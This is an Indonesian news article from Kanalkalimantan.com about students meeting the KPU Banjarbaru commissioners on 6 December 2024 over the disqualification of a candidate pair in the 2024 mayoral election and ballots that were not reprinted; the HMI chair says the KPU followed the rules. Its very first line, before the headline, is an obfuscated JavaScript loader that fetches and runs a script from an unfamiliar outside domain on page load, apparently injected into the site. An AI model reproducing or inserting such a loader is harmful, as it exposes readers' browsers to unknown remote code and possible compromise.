(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Bertemu 5 Komisioner, Ketua HMI Mendadak Jadi ‘Jubir’ KPU Banjarbaru Soal Aturan


KANALKALIMANTAN.COM, BANJARBARU – Perwakilan pemuda dan mahasiswa di Kota Banjarbaru mendatangi kantor Komisi Pemilihan Umum (KPU) Kota Banjarbaru, Jumat (6/12/2024) pagi.

Mereka yang terdiri dari perwakilan berbagai aliansi mahasiswa di Kota Banjarbaru melakukan tanya jawab bersama jajaran komisioner KPU Banjarbaru Dahtiar, Resty Fatma Sari, Hereyanto, Normadina, dan Haris Fadhillah.

Mahasiswa meminta komisioner KPU Banjarbaru untuk memberikan penjelasan terkait Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarbaru 2024.

Baca juga: Sengketa Hasil Pilwali Banjarbaru di MK, Empat Pemohon Ajukan Gugatan

Perwakilan aliansi pemuda dan mahasiswa di Kota Banjarbaru bertemu dengan lim komisioner KPU Banjarbaru, Jumat (6/12/2024) pagi. Foto: wanda

Dalam pertemuan tersebut Ketua Umum HMI Banjarbaru Riwut Ikhwan Nusaffa mengaku komisioner telah memberikan penjelasan dengan konkrit mengenai hal yang terjadi.

“Beberapa poin mereka sudah menjabarkan dengan sejelas-jelasnya, sudah dijawab dengan konkrit oleh KPU Banjarbaru,” ujar Ketua Umum HMI Banjarbaru, Riwut Ikhwan Nusaffa saat diwawancarai awak media.

Dirinya mengatakan apa yang disampaikan KPU Banjarbaru bahwa dalam penjelasannya, memang sedari awal KPU telah menerima dua pasangan calon (Paslon) yang ditetapkan menjadi peserta Pilkada Kota Banjarbaru. Kemudian ketika ada rekomendasi dari Bawaslu Kalsel disikapi oleh KPU Banjarbaru.

“Dan KPU Banjarbaru itu sendiri mengkaji, mencermati, dan mempelajari laporan tersebut yang telah terbukti melanggar pasal 71 ayat 3 dengan konsekuensi sanksi pembatalan untuk paslon terdiskualifikasi untuk calon yang dilaporkan,” jelas.

Baca juga: Buntut Kasus Pedagang Es Teh, Gus Miftah Mundur dari Utusan Khusus Presiden Prabowo

Setelah dikeluarkannya surat keputusan diskualifikasi, Paslon yang bersangkutan tidak melakukan tindakan menempuh jalur hukum hingga ditetapkan paslon tunggal.

Poin selanjutnya mereka mempertanyakan perihal surat suara yang tak dicetak ulang. Dari penjelasan KPU katanya, percetakan surat suara ulang itu minimal H-30 baru bisa dilaksanakan.

“Namun ketika putusan diskualifikasi ini keluar dilaksanakan H-27 bahkan dipotong 3 hari jadi H-24, maka tidak bisa dilaksanakan percetakan suara ulang itu,” ungkapnya.

“Maka dilaksanakan sosialisasi terkait dengan KPT Nomor 1774 pasal 5 dan 6, dimana terdapat case yang hampir sama namun berbeda jauh seperti terjadi di Metro Lampung,” sambung dia.

Baca juga: Dispersip Kalsel Beri Penghargaan Penerapan Aplikasi Srikandi ke SKPD dan LKD

Kemudian dirinya menjelaskan perbedaan pada pasal 5 dan 6 isi KPT Nomor 1774. Pada pasal 5 ini yang didiskualifikasi adalah paslon, sedangkan pasal 6 itu adalah salah satu calon dari paslon.

Dari penjelasan tersebut, mahasiswa menganggap KPU Kota Banjarbaru telah melaksanakan tugas sebagai yang menjalankan aturan.

“Kami menganggap KPU menjalankan aturan dengan baik dan juga tidak melanggar aturan yang seharusnya,” jelas dia.

Dirinya menjelaskan bahwa ketika ada masyarakat ataupun berbagai golongan yang tidak sepaham dan tidak setuju dengan hal ini maka diharapkan dapat menempati dan mengisi ruang-ruang hukum yang telah disediakan oleh negara.

Baca juga: Serunya Brigade Informasi Daerah Camp 2024 Kabupaten Banjar

“Kami harapkan juga kondusifitas di Banjarbaru bisa kembali pulih dengan isu-isu yang beredar ini bisa dikembalikan seperti semula,” harapnya.

Setelah ini pihaknya mengaku akan melakukan sosialisasi dengan cara mahasiswa serta mereka meminta rekomendasi kepada KPU Banjarbaru dapat membuka ruang diskusi bersama publik.

“Mudah-mudahan bisa terlaksana dengan cepat agar masyarakat bisa tercerahkan,” tandasnya.

Setelah audiensi di kantor KPU Banjarbaru, awak media mencoba untuk menemui Ketua KPU Banjarbaru Dahtiar untuk memberikan tanggapan.

Kendati demikian hingga pukul 12.17 Wita, awak media belum bisa menemui Dahtiar. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Muhammad Andi

Recent Posts

Disperkim Kalsel Tegaskan Komitmen Hunian Layak untuk Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perumahan Rakyat dan Kawasan Permukiman (Disperkim) Provinsi Kalimantan Selatan (Kalsel) menegaskan… Read More

3 jam ago

Satu Suara, Pilkada Lewat DPRD BEM SI Kalsel Sepakat Menolak

KANALKALIMANTAN.COM, BANJARMASIN – Wacana Pemilihan Kepala Daerah (Pilkada) melalui Dewan Perwakilan Rakyat Daerah (DPRD) menuai… Read More

3 jam ago

Pascabanjir Bandang Balangan 48 Rumah Mulai Diperbaiki

KANALKALIMANTAN.COM, PARINGIN – Pekan pertama masa pemulihan pascabanjir di Kabupaten Balangan, sejumlah perbaikan sudah mulai… Read More

4 jam ago

Serah Terima Aset Pemkab Kapuas – Kejari, Bupati Wiyatno: Lahan akan Dijadikan Taman

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas dan Kejaksaan Negeri (Kejari) Kapuas melakukan serah… Read More

7 jam ago

Memperkuat Iman Peringati Isra Mikraj Warga Binaan Rutan Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Warga binaan Rumah Tahanan Negara (Rutan) Kelas II B Kapuas berkumpul… Read More

7 jam ago

Bupati Kapuas Serahkan Bantuan Korban Kebakaran di Desa Pantai Kapuas Barat

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas bergerak cepat merespons kebakaran permukiman di Desa Pantai… Read More

7 jam ago

This website uses cookies.